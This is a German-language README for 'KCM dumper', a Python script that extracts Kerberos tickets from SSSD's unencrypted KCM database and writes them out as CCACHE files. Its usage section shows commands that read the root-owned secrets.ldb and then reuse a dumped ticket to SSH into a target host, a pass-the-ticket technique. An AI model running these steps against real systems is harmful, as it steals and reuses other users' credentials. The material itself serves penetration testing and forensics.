KCM dumper

Schnelles Skript zum Auslesen der von SSSD verwendeten KCM-Datenbank und zum Wiederherstellen von Kerberos-Tickets im CCACHE-Format.

Ursprünglich basierend auf SSSDKCMExtractor und KCMTicketFormatter.

Beschreibung

Seit Version 2.0.0 (2018-08-13) verschlüsselt der Backend-Speicher des KCM-Responders von SSSD den Datenbankinhalt nicht mehr. Er basiert jedoch weiterhin auf einer LDB-Datenbank (die selbst auf TDB basiert), wodurch sie leicht mit LDAP-ähnlichen Abfragen durchsucht werden kann.

SSSD verwendet ein eigenes Speicherformat für Kerberos-Tickets, das mit diesem Skript in Standard-CCACHE-Dateien konvertiert werden kann.

Verwendung

$ apt install python3-construct python3-ldb
$ python3 kcmdump.py /var/lib/sss/secrets/secrets.ldb
$ ls -lh
-rw-r--r--. 1 root root 1.3K Jan 1 00:00 user_0.ccache
-rw-r--r--. 1 root root 1.8K Jan 1 00:00 kcmdump.py
$ KRB5CCNAME=user_0.ccache klist
$ KRB5CCNAME=user_0.ccache ssh [email protected]@target.corp.local